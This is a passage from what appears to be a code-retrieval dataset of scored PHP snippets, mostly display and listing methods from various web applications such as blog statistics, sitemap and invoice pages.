file_get_contents($this->fqDirectory . 'freightquote_interface.tpl');\n \n foreach ($template as $key => $val) {\n $template_file = str_replace($key, $val, $template_file);\n }\n \n echo $template_file;\n }", "title": "" }, { "docid": "8d1f4ad58c6e732c2c9760b4b7e08268", "score": "0.5198014", "text": "protected function listing_ad() {}", "title": "" }, { "docid": "a7bfeb59d480d09b9b32044cbd80a5f0", "score": "0.5194828", "text": "public function description();", "title": "" }, { "docid": "a72554267b0fa66fd60358e2691e0731", "score": "0.5193592", "text": "public function show()\n\t{\n \n \n\t}", "title": "" }, { "docid": "3ad5485d7b8fdc0ff6c014e95c09a7aa", "score": "0.51901984", "text": "function print_example() {\n// // SAMPLE CODE\n// $hide_fields = array('broken','provisional','deleted');\n// $function = 'book_SQL_HTML_by_id';\n// $id = $this->primary['books.id'];\n//\n// parent::print_example();\n// parent::print_example_auto($hide_fields, $function, $id) {\n }", "title": "" }, { "docid": "e919b6c9b4be971c9849e7dbb984139a", "score": "0.51853263", "text": "public function index()\n {\n $data['sparepart'] = $this->db->get('tbl_sparepart')->result();\n $data['page'] = 'List Sparepart | Nissan Datsun';\n $data['title'] = 'List Sparepart Nissan | Datsun';\n $this->template->load('template', 'sparepart/index', $data);\n }", "title": "" }, { "docid": "a35f6fa1b9e5da3a9e0ff88280f56d8d", "score": "0.51846695", "text": "public function index()\n {\n $result = $this->api->SearchSubsidy(1);\n if (FALSE === $result OR isset($result['error'])) {\n return;\n }\n\n $total = $result['RecordCount'];\n $text = $result['DisclaimerText'];\n $this->load->view('subsidy/index', array('total'=>$total, 'text'=>$text));\n }", "title": "" }, { "docid": "1052527c7130476226655caace1510d7", "score": "0.5184245", "text": "public function get_description();", "title": "" }, { "docid": "1052527c7130476226655caace1510d7", "score": "0.5184245", "text": "public function get_description();", "title": "" }, { "docid": "bd5cab44a0961b5ecc6ef3eb5d2f01df", "score": "0.5179599", "text": "function display() {\n echo $this->searchView().'<br/>';\n echo $this->typeVC().'<br/>';\n echo $this->yearVC().'<br/>';\n echo $this->authorVC().'<br/>';\n echo $this->tagVC().'<br/>';\n }", "title": "" }, { "docid": "f21097f51797cd1c367d9b6bdd62d2a4", "score": "0.5177736", "text": "public function Text_forList() {\n\treturn $this->InvoiceNumber();\n }", "title": "" }, { "docid": "91576460fc395f5092d5f3f6102a84c6", "score": "0.51728904", "text": "function showList($list)\n{\n $s = \"\";\n for ($i = 0; $i < count($list); $i++) {\n $s .= $list[$i]->getString() . \" \";\n }\n return substr($s , 0 ,-2).\"\\n\";\n}", "title": "" }, { "docid": "90b87369d7e11022274b358329e41933", "score": "0.51723367", "text": "public function display();", "title": "" }, { "docid": "90b87369d7e11022274b358329e41933", "score": "0.51723367", "text": "public function display();", "title": "" }, { "docid": "90b87369d7e11022274b358329e41933", "score": "0.51723367", "text": "public function display();", "title": "" }, { "docid": "90b87369d7e11022274b358329e41933", "score": "0.51723367", "text": "public function display();", "title": "" }, { "docid": "26d7f6ee024b160931386433fd666eca", "score": "0.517123", "text": "public function getDescriptions(): array;", "title": "" }, { "docid": "f454a3e63d120d79e414747ff0349c8f", "score": "0.517067", "text": "function show_list()\n\t{\n\t\tglobal $g_lang;\n\n\t\treturn \"<a href='\". self_url(array('page')) .\"page=edit&id=\" . $this->table_id() . \"'>\". $g_lang['list_edit'] .\"</a>\";\n\t}", "title": "" }, { "docid": "a8b6303d2d09930863c61aff1bcd2a2d", "score": "0.51675886", "text": "function displayMembers()\n{\n foreach($this->membersAndInstruments as $craft => $member)\n {\n echo \"<br />\" . $member . \" as \" . $craft ;\n }\n}", "title": "" }, { "docid": "27b28acd3d90fcb26e036379e039010b", "score": "0.51656187", "text": "abstract protected function printList();", "title": "" }, { "docid": "1fa23ec33d4a6826747159c31079bb33", "score": "0.5162003", "text": "public function productDetails();", "title": "" }, { "docid": "325757b0f60bcf514f6cbdff3e4584b5", "score": "0.5159634", "text": "abstract public function display();", "title": "" }, { "docid": "325757b0f60bcf514f6cbdff3e4584b5", "score": "0.5159634", "text": "abstract public function display();", "title": "" }, { "docid": "0b74a48e80f0aedfb800877cd75f7547", "score": "0.5158812", "text": "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_structure->get_all();\n\t\t$this->template->set('title', 'Fee Structure List');\n\t\t$this->template->load('template', 'contents', 'fee_structures/list', $data);\n\t}", "title": "" }, { "docid": "510907f34c174810ab676c931d8d571f", "score": "0.5158414", "text": "function wonderfullstores_aws_text(){\n\n}", "title": "" }, { "docid": "9a7adb8eae85b2ccd8b4855720f23543", "score": "0.5156885", "text": "function wxDisplay($index){}", "title": "" }, { "docid": "673f28259eb182bb118c8ffa7341e39a", "score": "0.51552665", "text": "function dispISumm(){\n $keyError = false;\n $this->initArgs('tsumm',array('mode','season','state','program','evds','evid'));\n $this->title = \"USYVL Mobile - Instructional Summary - {$this->args['season']} {$this->args['program']}\";\n\n $b = \"\";\n\n // so we need to get evisday - this is the number of the day in the manual\n $isdays = $this->sdb->fetchListNew(\"select evisday from ev where evid = ? and evprogram=? and evds=?\",array($this->args['evid'],$this->args['program'],$this->args['evds']));\n //print_pre($isdays,\"IS Day List\");\n\n // could get the isdays above from this\n // since we are now passing in evid, the extra fields should be redundant\n $evd = $this->sdb->getKeyedHash('evid',\"select * from ev left join lc on ev_lcid = lcid where evid = ? and evds=? and evprogram=?\",array($this->args['evid'],$this->args['evds'],$this->args['program']));\n //$evd = $this->sdb->getKeyedHash('evid',\"select * from ev left join lc on ev_lcid = lcid where evid = ?\",array($this->args['evid']));\n //print_pre($evd,\"Raw data\");\n // Not sure where these checks are at now.... Pretty sure\n // the multiple events per days are now handled gracefully...\n $evcount = count($evd);\n if ($evcount < 1){\n // need to bail\n $keyError = true;\n }\n else {\n $d = array_shift($evd);\n }\n //// shouldn't really get keyErrors any more since the addition of the evid argument.\n //if( count($evd) > 1 ) {\n // $keyError = true;\n // $evd = $this->sdb->getKeyedHash('evid',\"select * from ev where evds=? and evprogram=?\",array($this->args['evds'],$this->args['program']));\n // if( count($evd) > 1 ) {\n // // maybe completely bail\n // }\n // else {\n // $d = array_shift($evd);\n // }\n // //$b .= \"ERROR on getKeyedHash\";\n //}\n //else {\n // $d = array_shift($evd);\n //}\n\n //$d = array_shift($evd);\n\n //$b .= \"<div class=\\\"content content-full\\\">\\n\";\n //$b .= \"<h2 class=\\\"light\\\">\\n\";\n\n $t = \"\";\n $t .= \"Instructional Summary<br />\\n{$this->args['program']}<br />\\n{$d['evdate']}<br />\\n\";\n $t .= ($keyError) ? \"{$d['evname']}\" : $d['evname'] . \"<br />\\n\" . $d['evtime_beg'] . \" to \" . $d['evtime_end'] . \"\\n\";\n $t .= \"</h2>\\n\";\n\n $c = \"\";\n $c .= ($keyError) ? \"EVD $evcount\" : \"<h3>\" . $d['lclocation'] . \"<br />\" . $d['lcaddress'] . \"</h3>\\n\";\n\n foreach( $isdays as $isday){\n if( $isday == \"\" ){\n // So we have something going on, should be OFF, SKIP or INTE type\n }\n else {\n $divisions = $this->sdb->fetchListNew(\"select distinct tmdiv from tm left join so on tmdiv=so_div where tmprogram not like '%Advanced Juniors%' order by so_order\");\n\n $isd = $this->mdb->getKeyedHash('ddday',\"select * from dd where ddday = ?\",array($isday));\n $isd = $this->mdb->getKeyedHash('ddid',\"select * from dd where ddday = ?\",array($isday));\n //print_pre($isd,\"Data from redbook.dd\");\n // Build the Net Heights block\n $netheights = explode(\",\",$isd[$isday]['ddneth']);\n //print_pre($netheights,\"netheights from redbook.dd\");\n $nh = \"\";\n if(count($netheights) > 0 && ( $netheights[0] != '' && $netheights[0] != 'NA' )){\n $nh .= \"<table class=\\\"isumm\\\">\";\n $nh .= \"<tr class=\\\"isumm\\\">\";\n $nh .= \"<td class=\\\"isumm isummtime\\\"><strong>Division</strong></td>\\n\";\n $nh .= \"<td class=\\\"isumm isummdesc\\\"><strong>Setting</strong></td>\\n\";\n $nh .= \"</tr>\";\n foreach( $divisions as $k => $di){\n $nh .= \"<tr class=\\\"isumm\\\">\";\n $nh .= \"<td class=\\\"isumm isummtime\\\">\" . $di . \"</td>\\n\";\n $nh .= \"<td class=\\\"isumm isummdesc\\\">\" . $netheights[$k] . \"</td>\\n\";\n $nh .= \"</tr>\";\n }\n $nh .= \"</table>\";\n }\n //$nh .= \"<p>Net Heights: \" . $isd[$isday]['ddneth'] . \"</p>\\n\";\n\n // Build the drill/instructional Schedule\n $drills = $this->mdb->getKeyedHash('drid',\"select * from dr where drday = ? and drtype = 'DRILL' order by drweight\",array($isday));\n $bl = \"\";\n if(count($drills) > 0){\n $bl .= \"<table class=\\\"isumm\\\">\";\n $bl .= \"<tr class=\\\"isumm\\\">\";\n $bl .= \"<td class=\\\"isumm isummtime\\\"><strong>Min.</strong></td>\\n\";\n $bl .= \"<td class=\\\"isumm isummdesc\\\"><strong>Drill Description</strong></td>\\n\";\n $bl .= \"</tr>\";\n foreach( $drills as $drill){\n $bl .= \"<tr class=\\\"isumm\\\">\";\n $bl .= \"<td class=\\\"isumm isummtime\\\">\" . $drill['drtime'] . \"</td>\\n\";\n $bl .= \"<td class=\\\"isumm isummdesc\\\">\" . $drill['drcontent'] . \"</td>\\n\";\n $bl .= \"</tr>\";\n }\n $bl .= \"</table>\";\n }\n\n // Build the drill/instructional details block\n //print_pre($isday,\"IS Day\");\n $dl = \"\";\n $descs = $this->mdb->getKeyedHash('drid',\"select * from dr where drday = ? and drtype = 'DRILLDESC' order by drweight\",array($isday));\n foreach( $descs as $desc){\n $dl .= \"<p>\\n\";\n if( $desc['drlabel'] != \"\" ) $dl .= \"<strong>\" . $desc['drlabel'] . \":</strong> \";\n $dl .= $desc['drcontent'] . \"</p>\\n\";\n }\n }\n }\n $b .= $this->contentDiv($t,$c);\n $b .= ($keyError || $nh == \"\") ? \"\" : $this->contentDiv(\"Net Heights\",$nh);\n $b .= ($keyError || $bl == \"\") ? \"\" : $this->contentDiv(\"Drill Schedule (Day $isday)\",$bl);\n $b .= ($keyError || $dl == \"\") ? \"\" : $this->contentDiv(\"Drill Details/Notes\",$dl);\n\n $dc = new digitalClock();\n $b .= $dc->dateTimeDiv(\"content\");\n\n return \"$b\";\n }", "title": "" }, { "docid": "0ff81dd205f58be1b09832cbfaa91ea5", "score": "0.51540416", "text": "public function getDescriptionAction();", "title": "" }, { "docid": "fd0bffa5136ea12a47d14ef42d170f10", "score": "0.5154018", "text": "public function list()\n {\n\n\n }", "title": "" }, { "docid": "c95b8e8639f3796194645d15636629a7", "score": "0.51485294", "text": "public function info()\n\t{\n\t\tglobal $langs;\n\t\t$langs->load(\"bills\");\n\t\treturn $langs->trans(\"NoDescription\");\n\t}", "title": "" }, { "docid": "d7a0a8d794734217a4d2f7cda3b62e1b", "score": "0.5148428", "text": "function DisplayIndex(){}", "title": "" }, { "docid": "1f4669e026d73877fe457e6fff8c1bf8", "score": "0.5146038", "text": "function PrintList() {\n print_r($this->parsed_array); \n printf('number of items: %d',$this->n_items);\n }", "title": "" }, { "docid": "4a417b2e67c2e91fa6fb0f7d0f5ad41f", "score": "0.51455176", "text": "function display($record,$mode=\"\")\n {\n $this->loadpimitems($record,$mode);\n return parent::display($record);\n }", "title": "" }, { "docid": "07ca0ad408fd2c209148a20bc1932426", "score": "0.5142677", "text": "function displayMenuItems($items, $startIndex, $endIndex, $queryKey) {\n $index = 0;\n foreach ($items as $key => $item) {\n if ($index >= $startIndex && $index < $endIndex) {\n if ($queryKey === 'year') {\n $href = makeHref(array($queryKey => __($item)));\n\t} else {\n $href = makeHref(array($queryKey => $key));\n\t}\n echo '<a '. $href .' target=\"'.BIBTEXBROWSER_MENU_TARGET.'\">'. $item .\"</a>\\n\";\n echo \"<div class=\\\"mini_se\\\"></div>\\n\";\n }\n $index++;\n }\n }", "title": "" }, { "docid": "8a13a0d2037d854e4f56c2a92a28d080", "score": "0.51287276", "text": "abstract function display();", "title": "" }, { "docid": "c40cc49183d027e99aee5902b1b1bace", "score": "0.5127314", "text": "public function __toString(){\n\t\t\t$str = 'myshows : ' . count($this->shows) . '<br>';\n\t\t\tforeach ($this->shows as $show){\n\t\t\t\t$str .= $show;\n\t\t\t}\n\t\t\treturn $str;\n\t\t}", "title": "" }, { "docid": "5c6db04b36984afbb9c99ae83e5b5956", "score": "0.512712", "text": "function displayOnSteroids() {\n $subtitle = '<div class=\"bibentry-by\">by '.$this->bib->getFormattedAuthorsString().'</div>';\n\n $abstract = '';\n if ($this->bib->hasField('abstract')) {\n $abstract = '<div class=\"bibentry-label\">Abstract:</div><div class=\"bibentry-abstract\">'.$this->bib->getAbstract().'</div>';\n }\n\n $download = '';\n if ($this->bib->hasField('url')) {\n $download = '<div class=\"bibentry-document-link\"><a href=\"'.$this->bib->getField('url').'\">View PDF</a></div>';\n }\n $reference= '<div class=\"bibentry-label\">Reference:</div><div class=\"bibentry-reference\">'.strip_tags(bib2html($this->bib)).'</div>';\n\n $bibtex = '<div class=\"bibentry-label\">Bibtex Entry:</div>'.$this->bib->toEntryUnformatted().'';\n return $subtitle.$abstract.$download.$reference.$bibtex.$this->bib->toCoins();\n }", "title": "" }, { "docid": "c320184d4d0322568ace5a989cad193a", "score": "0.5126729", "text": "private static function showElementInfolist() {\n global $serendipity;\n\n if (!serendipity_checkPermission('adminUsers')) {\n $thisauthorid = (int)$serendipity['authorid'];\n $entryauthors = \"FROM {$serendipity['dbPrefix']}entries e \n LEFT JOIN {$serendipity['dbPrefix']}authors a ON (e.authorid = a.authorid)\";\n $commentauthors = \"FROM {$serendipity['dbPrefix']}comments c \n LEFT JOIN {$serendipity['dbPrefix']}entries e ON (e.id = c.entry_id) \n LEFT JOIN {$serendipity['dbPrefix']}authors a ON (e.authorid = a.authorid)\";\n $currentauthor = \"AND e.authorid = \" . $thisauthorid;\n\n $infolist['total_count'] = serendipity_db_query(\"SELECT count(e.id) $entryauthors WHERE e.authorid = $thisauthorid\", true);\n $infolist['draft_count'] = serendipity_db_query(\"SELECT count(e.id) {$entryauthors} WHERE e.isdraft = 'true' $currentauthor\", true);\n $infolist['publish_count'] = serendipity_db_query(\"SELECT count(e.id) {$entryauthors} WHERE e.isdraft = 'false' $currentauthor\", true);\n $infolist['category_count'] = serendipity_db_query(\"SELECT count(categoryid) FROM {$serendipity['dbPrefix']}category WHERE authorid = $thisauthorid OR authorid = 0\", true);\n // being strict to user and do not check for 'ALL' permissions, is easier here.\n $infolist['image_count'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}images WHERE authorid = $thisauthorid OR authorid = 0\", true);\n $infolist['comment_ct_all'] = serendipity_db_query(\"SELECT count(c.id) {$commentauthors} WHERE type = 'NORMAL' $currentauthor\", true);\n $infolist['comment_ct_app'] = serendipity_db_query(\"SELECT count(c.id) {$commentauthors} WHERE type = 'NORMAL' $currentauthor AND c.status = 'approved'\", true);\n $infolist['comment_ct_pen'] = serendipity_db_query(\"SELECT count(c.id) {$commentauthors} WHERE type = 'NORMAL' $currentauthor AND c.status = 'pending'\", true);\n } else {\n // restrict count(all) informations to adminUsers only\n $infolist['total_count'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}entries\", true);\n $infolist['draft_count'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}entries WHERE isdraft = 'true'\", true);\n $infolist['publish_count'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}entries WHERE isdraft = 'false'\", true);\n $infolist['category_count'] = serendipity_db_query(\"SELECT count(categoryid) FROM {$serendipity['dbPrefix']}category\", true);\n $infolist['image_count'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}images\", true);\n $infolist['comment_ct_all'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}comments WHERE type = 'NORMAL'\", true);\n $infolist['comment_ct_app'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}comments WHERE type = 'NORMAL' AND status = 'approved'\", true);\n $infolist['comment_ct_pen'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}comments WHERE type = 'NORMAL' AND status = 'pending'\", true);\n if (defined('BAYES_INSTALLED')) {\n $infolist['total_spam'] = serendipity_db_query(\"SELECT count(id) FROM {$serendipity['dbPrefix']}spamblock_bayes_recycler\", true, 'num');\n }\n if (defined('FREETAG_INSTALLED')) {\n $infolist['total_tags'] = count(serendipity_db_query(\"SELECT DISTINCT tag FROM {$serendipity['dbPrefix']}entrytags\", false, 'num'));\n $serendipity['smarty']->assign('is_freetag_installed', true);\n }\n }\n return $infolist;\n }", "title": "" }, { "docid": "f0cb36b6ff9c77e033882906f1583c2a", "score": "0.5123982", "text": "public function show(Reg_document $reg_document)\n {\n // \n }", "title": "" }, { "docid": "aa20b840bd2af3efbba1dd78d5331ff8", "score": "0.51134145", "text": "abstract public function show();", "title": "" }, { "docid": "b107b6069a0630558eaf8d0284bfb8c6", "score": "0.5106097", "text": "function show_integrators(&$tpl){\r\n\t\tglobal $cfg, $L;\r\n\t\t\r\n\t\t$act = cot_import('act','G','TXT');\r\n\t\tif ($act == 'save') $this->save_structure();\r\n\t\t\r\n\t\t$page = cot_import('page','G','INT');\r\n\t\t$per_page = cot_import('perpage','G','TXT');\r\n\t\tif (empty($page)) $page = 1;\r\n\t\tif (!empty($per_page)){\r\n\t\t\tif ($per_page == 'all'){\r\n\t\t\t\t$per_page = 9999999;\r\n\t\t\t}\r\n\t\t\t$_SESSION['AN_SITEMAP_PERPAGE'] = $per_page;\r\n\t\t}else{\r\n\t\t\t$per_page = (!empty($_SESSION['AN_SITEMAP_PERPAGE'])) ? $_SESSION['AN_SITEMAP_PERPAGE'] : 20;\r\n\t\t}\r\n\t\t$first_item = ($page-1) * $per_page + 1;\r\n\t\tif (!empty($_SESSION['AN_SITEMAP_INTEGRATORS_COUNT']) && ($first_item > $_SESSION['AN_SITEMAP_INTEGRATORS_COUNT']) ){\r\n\t\t\t$first_item = 1;\r\n\t\t\t$page = 1;\r\n\t\t}\r\n\t\t$last_item = $first_item + $per_page;\r\n\t\t\r\n\t\t$values = (array(\"no\", \"html\", \"xml_txt\", \"both\"));\r\n\t\t$texts = array();\r\n\t\t$texts[] = $L['an_sitemap']['no'];\r\n\t\t$texts[] = $L['an_sitemap']['to_HTML'];\r\n\t\t$texts[] = $L['an_sitemap']['to_XML_TXT'];\r\n\t\t$texts[] = $L['an_sitemap']['to_all_maps'];\r\n\t\t\t\r\n\t\t// Грузим интеграторы\r\n\t\t$files = an_Folder::files($cfg[\"plugins_dir\"], 'integrator.php', 1, true);\r\n\t\t$files = array_unique($files);\r\n\t\tforeach ($files as $file){\r\n\t\t\t$file_info = pathinfo($file);\r\n\t\t\t$param = explode('.', $file_info['basename']);\r\n\t\t\t$param = $param[0];\r\n\t\t\tinclude_once($file);\r\n\t\t\t$integrator = '';\r\n\t\t\tif (function_exists($param.\"_sitemap\")){\r\n\t\t\t\teval('$integrator = '.$param.'_sitemap($this->show_num);');\r\n\t\t\t\tif (is_array($integrator) ){\r\n\t\t\t\t\t$counter++;\r\n\t\t\t\t\tif ( ($first_item <= $counter) && ($counter < $last_item) ){\r\n\t\t\t\t\t\t$tpl -> assign(array(\r\n\t\t\t\t\t\t\t'INTEGRATOR_CODE' => $param,\r\n\t\t\t\t\t\t\t'INTEGRATOR_NAME' => $integrator[$param]['_name_'],\r\n\t\t\t\t\t\t\t'INTEGRATOR_DESC' => $integrator[$param]['_desc_'],\r\n\t\t\t\t\t\t\t'INTEGRATOR_STATE' => an_selectbox($this->get_state('integrators' ,$param), \"state[integrators][$param]\", $values, $texts ),\r\n\t\t\t\t\t\t));\r\n\t\t\t\t\t\t$tpl->parse(\"MAIN.INEGRATORS.INEGRATORS_ROW\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$_SESSION['AN_SITEMAP_INTEGRATORS_COUNT'] = $counter;\r\n\t\t$tpl -> assign(array(\r\n\t\t\t'CONFIG_FORM_URL' => cot_url('admin', \"m=other&p=an_sitemap&task=integrators&act=save\"),\r\n\t\t\t'CONFIG_TOTAL_ELEMENTS' => $counter,\r\n\t\t\t'CONFIG_PER_PAGE_ELEMENTS' => ($per_page == 9999999) ? $L['plu_pagnav_per_page_all'] : $per_page,\r\n\t\t\t'CONFIG_PAGENAV' => an_pagnav($page, $counter, $per_page, 'admin', \"m=other&p=an_sitemap&task=integrators\", 'page', true),\r\n\t\t\t\r\n\t\t));\r\n\t\t$tpl -> parse(\"MAIN.INEGRATORS\");\r\n\t}", "title": "" }, { "docid": "f4cf086598d8a52b25f751bc878e6ae9", "score": "0.5095243", "text": "function\n\tShow()\n\t{\n\t\t$this->sourceStrings();\n\n\t\tif (!isset($this->IRN))\n\t\t{\n\t\t\tWebDie('Invalid IRN', 'BaseDisplayObject');\n\t\t}\n\n\t\t// we don't grab the Multimedia ref if we are already in Multimedia\n\t\tif ($this->Database == \"emultimedia\")\n\t\t{\n\t\t\t$this->_buildSelectArray(array('irn', 'SummaryData'));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_buildSelectArray(array('irn', 'SummaryData', 'MulMultiMediaRef_tab'));\n\t\t}\n\t\t$this->_buildSelectArray($this->Fields);\n\t\t$this->_buildSelectArray($this->AdditionalFields);\n\n\t\tif (count($this->AdditionalFields) > 0)\n\t\t{\n\t\t\t$this->Fields = array_merge($this->Fields, $this->AdditionalFields);\n\t\t}\n\n\t\t$qry = new ConfiguredQuery;\n\t\t$qry->SelectedLanguage = $this->LanguageData;\n\t\t$qry->Intranet = $this->Intranet;\n\t\t$qry->Select = $this->selectArray;\n\t\t\t\n\t\t$qry->From = $this->Database;\n\t\t$qry->Where = 'irn=' . $this->IRN;\n\t\t$result = $qry->Fetch();\n\t\tif (!isset($result[0]->irn_1) || $result[0]->irn_1 == '')\n\t\t{\n\t\t\tprint \"<center>\";\n\t\t\tprint \"<h2>\";\n\t\t\tPPrint($this->_STRINGS['NO RESULTS'], $this->FontFace, '', $this->BodyTextColor);\n\t\t\tprint\"</h2>\\n\";\n\t\t\tprint \"<h3>\";\n\t\t\tPPrint($this->_STRINGS['GO BACK'], $this->FontFace, '', $this->BodyTextColor);\n\t\t\tprint \"</h3>\\n\";\n\t\t\tprint '<br /></center>';\n\t\t\treturn;\n\t\t}\n\n\t\t$this->record = $result[0];\n\n\t\t// Now we call the display function\n\t\t$this->display();\n\t}", "title": "" }, { "docid": "b667a387c5f68f9be86425e6e036ff22", "score": "0.5091147", "text": "public function directinvoicelist() { \n $data['page'] = 'Purchase Order';\n\t\t$data['page_title'] = 'Direct Invoice';\n $data['page_module'] = 'inventory';\t\t\n $this->load->view('inventory/purchase/directinvoice/directinvoicelist', $data); \n\t}", "title": "" }, { "docid": "b7a54c01498d053af4e2ad4f6dacf37b", "score": "0.50910395", "text": "function AutoCompShow($lenEntered, $itemList){}", "title": "" }, { "docid": "386317ce14858d0c29f60eec4926190d", "score": "0.5085213", "text": "public function show(Castle $castle)\n {\n //\n }", "title": "" }, { "docid": "7c4ebc06bebaf0db4c135e959ae90900", "score": "0.5085206", "text": "public function purchase_info_id() {\n $CI = & get_instance();\n $this->auth->check_admin_auth();\n $CI->load->library('lpurchase');\n $CI->load->model('Purchases');\n $invoice_no = $this->input->post('invoice_no',TRUE);\n $content = $this->lpurchase->purchase_list_invoice_no($invoice_no);\n $this->template->full_admin_html_view($content);\n }", "title": "" } ]
71aa883f2a43f86547c64b5e525ead30
Returns the formatted tick count.
[ { "docid": "63bdf3159b7d7ee7b09e1e4caa178182", "score": "0.0", "text": "public function current() {\n\t\treturn number_format($this->_current);\n\t}", "title": "" } ]
[ { "docid": "4cca17ddf04e29965155ecd9cbc16afa", "score": "0.6619701", "text": "private function getCounts()\n\t{\n\t\t$countstring = '';\n\t\t$counts = $this->item->getInitialCounts();\n\t\t$vol = $counts->getVolumeCount();\n\t\t$sheet = $counts->getSheetCount();\n\t\t$photo = $counts->getPhotoCount();\n\t\t$box = $counts->getBoxCount();\n\t\t$other = $counts->getOtherCount();\n\t\t\n\t\t$countstring = $vol == 1 ? $vol . ' volume, ' : $vol . ' volumes, ';\n\t\t$countstring .= $sheet == 1 ? $sheet . ' sheet, ' : $sheet . ' sheets, ';\n\t\t$countstring .= $photo == 1 ? $photo . ' photo, ' : $photo . ' photos, ';\n\t\t$countstring .= $box == 1 ? $box . ' box, ' : $box . ' boxes, ';\n\t\t$countstring .= $other . ' other';\n\t\treturn $countstring;\n\t}", "title": "" }, { "docid": "a3b23bc011082381e7d57367c18e9da2", "score": "0.64745116", "text": "private function getCounts()\n\t{\n\t\t$countstring = '';\n\t\t$counts = $this->oswObject->getFunctions()->getReport()->getCounts();\n\t\t$vol = $counts->getVolumeCount();\n\t\t$sheet = $counts->getSheetCount();\n\t\t$photo = $counts->getPhotoCount();\n\t\t$box = $counts->getBoxCount();\n\t\t$other = $counts->getOtherCount();\n\t\t\n\t\t$countstring = $vol == 1 ? $vol . ' volume, ' : $vol . ' volumes, ';\n\t\t$countstring .= $sheet == 1 ? $sheet . ' sheet, ' : $sheet . ' sheets, ';\n\t\t$countstring .= $photo == 1 ? $photo . ' photo, ' : $photo . ' photos, ';\n\t\t$countstring .= $box == 1 ? $box . ' box, ' : $box . ' boxes, ';\n\t\t$countstring .= $other . ' other';\n\t\treturn $countstring;\n\t}", "title": "" }, { "docid": "220c3f360f1373daa875acaf23c06276", "score": "0.62971723", "text": "public function getTicks()\n {\n return implode(\",\", $this->_ticks);\n }", "title": "" }, { "docid": "1b25f5db89d6293bed90484e9cc15446", "score": "0.6283949", "text": "public function get_ticks() {\n return $this->ticks;\n }", "title": "" }, { "docid": "65f61e4c0baf86b0e12441fb5db25a1b", "score": "0.6218977", "text": "private function calculateTick () {\n $tick = intval(ceil(time() / ( $this->nonceLifetime / 2 )));\n return $tick;\n }", "title": "" }, { "docid": "62660bd10d360e4f2753405ac79c88ff", "score": "0.617385", "text": "public function getTickCount()\n {\n return $this->tickCount;\n }", "title": "" }, { "docid": "d6c6e3700b519107392cc121049def04", "score": "0.6034112", "text": "protected function getCounts()\n\t{\n\t\tpreg_match_all('/,?([a-z_]*_count),?/', join(',',array_keys(self::$config)), $m);\n\t\treturn $m[1];\n\t}", "title": "" }, { "docid": "97a99cac2a0141dae4d39e554cf89213", "score": "0.5975391", "text": "public function getTickInterval()\n {\n return $this->tickInterval;\n }", "title": "" }, { "docid": "bd208499843699bbd25fdb2641747b50", "score": "0.5969311", "text": "function unread_tick_count($uid = false) {\r\n\t\treturn 20;\r\n\t}", "title": "" }, { "docid": "ea6434008020f93307562e8c00e3b3e2", "score": "0.5953127", "text": "public function imageCount() {\n return number_format($this->Images->count(),0,\",\",\".\");\n }", "title": "" }, { "docid": "bedf907cbdc5d381a776953012769d2f", "score": "0.594925", "text": "public function counterDecimals(): int\n {\n return $this->data['counter_decimals'];\n }", "title": "" }, { "docid": "f7c0e3a4f2ad798b6035e8beb7faa96b", "score": "0.5934047", "text": "public function CountFormat( $num )\n {\n if ( $num > 1 ) {\n return number_format( $num, 0, \".\", \",\" );\n }\n return \"\";\n }", "title": "" }, { "docid": "2a4cbd614f0c6b1e2adea1daa90da8d9", "score": "0.58856875", "text": "public function getTickCount()\n {\n return $this->ticks;\n }", "title": "" }, { "docid": "1adcc2f351e63db2bfa34df1443c50a9", "score": "0.5777971", "text": "public function getNumber()\n {\n $base = $this->getParent()->getNumber();\n $count = $this->getCount();\n return \"{$base}{$count}.\";\n }", "title": "" }, { "docid": "f3f4af4a4f3459d2309c5661b7a59690", "score": "0.57700056", "text": "public static function formatNotificationCount( $count ) {\n\t\tglobal $wgLang, $wgEchoMaxNotificationCount;\n\n\t\tif ( $count > $wgEchoMaxNotificationCount ) {\n\t\t\t$count = wfMessage(\n\t\t\t\t'echo-notification-count',\n\t\t\t\t$wgLang->formatNum( $wgEchoMaxNotificationCount )\n\t\t\t)->escaped();\n\t\t} else {\n\t\t\t$count = $wgLang->formatNum( $count );\n\t\t}\n\n\t\treturn $count;\n\t}", "title": "" }, { "docid": "8eb630a52f34881543611ae0664c9c85", "score": "0.57557374", "text": "private function getDecimalsMark() : int\n {\n $value = $this->scopeConfig->getValue(self::XML_PATH_DECIMALS_MARK);\n return isset($value) ? intval($value) : 2;\n }", "title": "" }, { "docid": "a6b6c48478603fb7f7effa731ab5d0ba", "score": "0.5754075", "text": "public function count()\n {\n $this->getConfiguration()->add('return', 'Sanderdekroon\\Parlant\\Formatter\\CountFormatter');\n return $this->get();\n }", "title": "" }, { "docid": "f66ae0a89c5c8931fe48bcc7c9a8d1ca", "score": "0.5749388", "text": "public function formatCount(int $expressionCount)\n {\n $countString = $expressionCount;\n\n if ($expressionCount > 999 && $expressionCount < 1000000) {\n $countString = floor($expressionCount / 1000).'k+';\n }\n\n if ($expressionCount > 1000000 && $expressionCount < 100000000) {\n $countString = floor($expressionCount / 1000000).'M+';\n }\n\n return (string) $countString;\n }", "title": "" }, { "docid": "47c71f04efbfd581ff41f49e90d7893d", "score": "0.57282776", "text": "public function getCountLabel($count);", "title": "" }, { "docid": "34aa5f5ee74bb4d35258f5fc0f2edbe6", "score": "0.5723094", "text": "function nm_get_cart_contents_count() {\r\n $cart_count = apply_filters( 'nm_cart_count', WC()->cart->cart_contents_count );\r\n $count_class = ( $cart_count > 0 ) ? '' : ' nm-count-zero';\r\n \r\n\t\treturn '<span class=\"nm-menu-cart-count count' . $count_class . '\">' . $cart_count . '</span>';\r\n\t}", "title": "" }, { "docid": "2edc8c9d9f396f8551b5f02890225b4f", "score": "0.57219815", "text": "public function visitCount() {\n return number_format($this->Visits->count(),0,\",\",\".\");\n }", "title": 